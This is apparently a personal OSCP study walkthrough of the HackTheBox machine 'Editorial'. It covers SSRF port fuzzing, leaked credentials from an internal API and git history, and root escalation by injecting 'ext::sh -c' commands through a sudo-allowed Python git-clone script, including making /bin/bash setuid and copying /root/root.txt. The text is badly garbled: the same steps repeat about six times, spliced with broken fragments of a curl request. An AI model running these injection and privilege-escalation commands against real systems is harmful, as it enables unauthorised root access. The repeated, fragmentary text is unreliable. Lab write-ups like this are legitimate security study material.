![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Content-Length: 359' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Origin: http://editorial.htb' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Connection: keep-alive' -H 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
Referer: http://editorial.htb/upload' \
    --data-binary 
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
-----------------------------27217155232498642852366456117\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://127.0.0.1:FUZZ\x0d\x0a-----------------------------27217155232498642852366456117\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------27217155232498642852366456117--\x0d\x0a' \
    
![Pasted image 20240831190616.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190616.png)
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
![Pasted image 20240831190717.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831190717.png)
Let's capture **static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1** page.
![Pasted image 20240831191022.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191022.png)
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
![Pasted image 20240831191237.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191237.png)
![Pasted image 20240831191342.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191342.png)
Now we got credentials **dev:dev080217_devAPI!@** so let's try to access via SSH the target user.
`ssh dev@10.10.11.20`
`dev080217_devAPI!@`
![Pasted image 20240831191509.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191509.png)
Now let's get user flag.
`ls`
![Pasted image 20240831191604.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191604.png)

## Privilege Escalation

### Git Repositories
I tried to see if i can use sudo but it didn't work.
`sudo -l`
![Pasted image 20240831191732.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831191732.png)
I found out a git directory so i explored and found out a new user on the target machine in git logs.
`cd apps`
`ls -la`
`cd .git`
`git log`
![Pasted image 20240831192149.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192149.png)
I started watching all git feeds when i saw credentials for prod user.
`git show 1e84a036b2f33c59e2390730699a488c65643d28`
![Pasted image 20240831192430.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192430.png)
Now we have credentials **prod:080217_Producti0n_2023!@** so let's switch to prod user.
`su prod`
`080217_Producti0n_2023!@`
![Pasted image 20240831192613.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192613.png)
### sudo - python3
On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
`sudo -l`
`080217_Producti0n_2023!@`
![Pasted image 20240831192651.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192651.png)
`cat /opt/internal_apps/clone_changes/clone_prod_change.py`
![Pasted image 20240831192835.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831192835.png)
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

### Option A - Create a Bash Shell as Root - Didn't work
First we need to create a bash file wich start a bash shell.
`echo '#!/bin/bash' > /tmp/exploit.sh`
`echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh `

Then we run the command with the exploit so we can have a root bash shell.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"`

### Option B - Transfer all root files
We can create a folder called pwned with this command.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'`
If we can do that we can transfer root flag aswell with the **clone_prod_change.py** and we get root flag.
`sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'`
`ls`
![Pasted image 20240831194450.png](/img/user/Digital%20Garden/OSCP/Imgs/Pasted%20image%2020240831194450.png)
http://editorial.htb/upload-cover'

Pasted image 20240831190616.png
We have a different response on port 5000 so let's try to put port 5000 on burp to see the response.
Pasted image 20240831190717.png
Let's capture static/uploads/2d321637-ed84-43dd-9c97-c6345f75a7c1 page.
Pasted image 20240831191022.png
I notice about a message saying "Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors" so let's go to /api/latest/metadata/messages/authors subdirectory to find more informations.
Pasted image 20240831191237.png
Pasted image 20240831191342.png
Now we got credentials dev:dev080217_devAPI!@ so let's try to access via SSH the target user.
ssh dev@10.10.11.20
dev080217_devAPI!@
Pasted image 20240831191509.png
Now let's get user flag.
ls
Pasted image 20240831191604.png

Privilege Escalation

Git Repositories

I tried to see if i can use sudo but it didn't work.
sudo -l
Pasted image 20240831191732.png
I found out a git directory so i explored and found out a new user on the target machine in git logs.
cd apps
ls -la
cd .git
git log
Pasted image 20240831192149.png
I started watching all git feeds when i saw credentials for prod user.
git show 1e84a036b2f33c59e2390730699a488c65643d28
Pasted image 20240831192430.png
Now we have credentials prod:080217_Producti0n_2023!@ so let's switch to prod user.
su prod
080217_Producti0n_2023!@
Pasted image 20240831192613.png

sudo - python3

On prod user i tried to check if we can use sudo commands as root without authentication wich i found out a command.
sudo -l
080217_Producti0n_2023!@
Pasted image 20240831192651.png
cat /opt/internal_apps/clone_changes/clone_prod_change.py
Pasted image 20240831192835.png
This Python script is designed to automate the process of cloning a Git repository into a specified directory on a system.

Option A - Create a Bash Shell as Root - Didn't work

First we need to create a bash file wich start a bash shell.
echo '#!/bin/bash' > /tmp/exploit.sh
echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh

Then we run the command with the exploit so we can have a root bash shell.
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"

Option B - Transfer all root files

We can create a folder called pwned with this command.
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
If we can do that we can transfer root flag aswell with the clone_prod_change.py and we get root flag.
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'
ls
Pasted image 20240831194450.png